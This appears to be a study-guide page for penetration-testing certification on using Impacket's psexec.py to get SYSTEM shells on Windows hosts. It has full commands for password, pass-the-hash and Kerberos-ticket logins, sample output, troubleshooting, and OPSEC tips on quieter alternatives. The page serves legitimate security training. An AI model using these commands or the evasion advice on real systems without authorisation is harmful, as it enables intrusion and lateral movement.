psexec.py

Impacket's remote execution tool via SMB. Creates a service on the target to run commands as SYSTEM. The most reliable remote execution method when you have admin credentials or a hash, but also the noisiest.

Windows AD
LevelIntermediate. A reliable but noisy option once you have valid admin credentials or a hash.
Know firstThat you need local administrator rights or an equivalent hash/ticket on the target, and what a Windows service is.
You will learn toget a SYSTEM shell via psexec.py, and know when its noise makes an alternative the better choice.

What is it?

psexec.py is Impacket's implementation of the PsExec technique. It connects to a Windows host via SMB (port 445), uploads a service executable to the ADMIN$ share, creates and starts a Windows service, and gives you a SYSTEM-level interactive shell.

The original PsExec is a Sysinternals tool. Impacket's psexec.py does the same thing from Linux. The key difference from other remote execution tools: psexec.py gives you SYSTEM privileges (not just the user's privileges), because the service runs as LocalSystem.

Requirements for psexec.py

You need: (1) Port 445 open on the target, (2) Local admin credentials (password or NTLM hash), (3) Write access to ADMIN$ or C$ share. Without all three, psexec.py won't work, try wmiexec.py or evil-winrm instead.

Run this first

psexec.py uploads and starts a temporary Windows service to run a command shell as SYSTEM.

bash: your first shell
$ psexec.py corp.local/administrator:'Password123!'@10.10.10.10
  • corp.local/administrator:password@target is Impacket's combined domain, user, password and target syntax.

You land in a SYSTEM shell. Because this drops and starts a service binary on the target, it is one of the noisiest remote execution methods. wmiexec.py and evil-winrm leave less of a trace when stealth matters.

How it works internally

Understanding the internal mechanism helps you troubleshoot when it fails:

  1. Authenticate to the target via SMB (port 445)
  2. Upload a service binary to \\target\ADMIN$\ (or C$)
  3. Create a Windows service (via the Service Control Manager over RPC)
  4. Start the service → it runs as NT AUTHORITY\SYSTEM
  5. Communicate through named pipes over SMB for I/O
  6. On exit, stops the service, deletes the binary (cleanup)
This is noisy

psexec.py creates Event IDs 7045 (new service installed) and 4697 (service installed) in the Windows Event Log. EDR solutions flag this immediately. AV may detect the uploaded binary. In CPTS labs this doesn't matter, but understand it for real engagements.

When to use psexec vs alternatives

ToolProtocolPrivilege levelStealthRequirements
psexec.pySMB (445)SYSTEMLow (service creation logged)Local admin + ADMIN$ writable
wmiexec.pyWMI (135) + SMBUser-levelMedium (no service creation)Local admin + DCOM access
evil-winrmWinRM (5985)User-levelMedium (legitimate protocol)Port 5985 open + valid creds
xfreerdpRDP (3389)User-level (GUI)High (looks like normal login)Port 3389 open + valid creds
Decision guide
  • Need SYSTEM shell? → psexec.py (only option that gives SYSTEM from Linux)
  • Need stealth? → wmiexec.py (no service creation) or evil-winrm (legitimate protocol)
  • Port 445 blocked? → evil-winrm (5985) or xfreerdp (3389)
  • Need GUI? → xfreerdp (RDP)
  • Have a hash but no password? → psexec.py or wmiexec.py (both support pass-the-hash)

Usage examples

With password

bash: password authentication
# Basic connection with domain credentials
$ psexec.py corp.local/administrator:'Password123!'@10.10.10.10

# Format: domain/username:password@target
# You'll get a SYSTEM shell
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.10.....
[*] Found writable share ADMIN$
[*] Uploading file ZbLwNRoB.exe
[*] Opening SVCManager on 10.10.10.10.....
[*] Creating service GhTY on 10.10.10.10.....
[*] Starting service GhTY.....
[!] Press help for extra shell commands

Microsoft Windows [Version 10.0.17763.4974]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system                                            <-- SYSTEM!

Pass-the-hash

bash: NTLM hash authentication
# Using NTLM hash instead of password
$ psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f \
  corp.local/administrator@10.10.10.10

# Format: -hashes LMhash:NThash
# LM hash is usually aad3b435b51404eeaad3b435b51404ee (empty)
# You only need the NT hash (second part)

With Kerberos ticket

bash: Kerberos authentication
# Using a Kerberos ccache file (from Rubeus, getST, etc.)
$ export KRB5CCNAME=administrator.ccache
$ psexec.py -k -no-pass corp.local/administrator@dc01.corp.local

# -k = use Kerberos
# -no-pass = don't prompt for password
# MUST use hostname (not IP) for Kerberos to work

Execute a specific command

bash: single command execution
# Run one command and get output (no interactive shell)
$ psexec.py corp.local/administrator:'Pass123!'@10.10.10.10 "ipconfig /all"

# Run a PowerShell command
$ psexec.py corp.local/administrator:'Pass123!'@10.10.10.10 \
  "powershell -c \"Get-Process | Select-Object Name,Id\""

Common errors and fixes

ErrorCauseFix
STATUS_ACCESS_DENIEDNot local admin, or ADMIN$ not writableTry wmiexec.py or evil-winrm. Verify admin privileges
STATUS_SHARING_VIOLATIONAnother psexec session or AV locking the fileWait and retry, or use wmiexec.py
ERROR_SERVICE_REQUEST_TIMEOUTService takes too long to start (AV blocking)AV is killing the service. Try wmiexec.py instead
Connection refusedPort 445 not open or firewall blockingCheck with Nmap. Try port 5985 (evil-winrm) or 3389 (RDP)
Shell hangs / no outputNamed pipe communication issueKill and reconnect. If persistent, switch to wmiexec.py
KDC_ERR_S_PRINCIPAL_UNKNOWNUsing IP with Kerberos authUse hostname: dc01.corp.local not 10.10.10.10

OPSEC considerations

Detection footprint
  • Event ID 7045: New service installed (random name)
  • Event ID 4697: A service was installed in the system
  • File on ADMIN$: Random .exe uploaded temporarily
  • Network traffic: SMB traffic to ADMIN$, service control RPC calls
  • EDR alerts: Most EDR solutions flag PsExec-style execution immediately

For CPTS, this doesn't matter, the lab doesn't have EDR. But know that in a real engagement, psexec.py is the loudest remote execution method. Use wmiexec.py for less noise, or evil-winrm for the most legitimate-looking access.

Common mistakes

Things that go wrong
  • Using IP with Kerberos: Kerberos needs hostnames. Always use dc01.corp.local with -k, not IPs. Add the hostname to /etc/hosts
  • Trying psexec when port 445 is blocked: Check Nmap results first. If 445 isn't open, use evil-winrm (5985) or RDP (3389)
  • Defaulting to psexec for everything: It gives SYSTEM, but it's noisy. If you just need user-level access, wmiexec.py or evil-winrm are better choices
  • Not quoting passwords with special characters: Use single quotes around passwords: 'P@$$w0rd!' to prevent shell interpretation
  • Forgetting cleanup on failure: If psexec.py crashes mid-execution, the service and uploaded file may remain. Clean up manually if needed

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

Why does psexec.py give you a SYSTEM shell rather than the shell of the account you authenticated as?
It runs the shell as a Windows service, and services run as SYSTEM by default.
What makes psexec.py noisier than wmiexec.py or evil-winrm?
It drops a service binary onto the target and starts a new service to run it, both of which are easy for an EDR or a defender watching services to notice.
You have an NT hash and no plaintext password. Can you still use psexec.py?
Yes, with -hashes LM:NT in place of a password; this is pass-the-hash.
You have a Kerberos ticket instead of a password or hash. What changes in the command?
Set KRB5CCNAME to the ccache file, and use -k -no-pass with a hostname rather than an IP, since Kerberos needs a resolvable name.
When would you deliberately choose psexec.py over wmiexec.py despite the noise?
When you need the most reliable execution method and stealth is not the priority, since psexec.py is generally considered the most dependable of the three.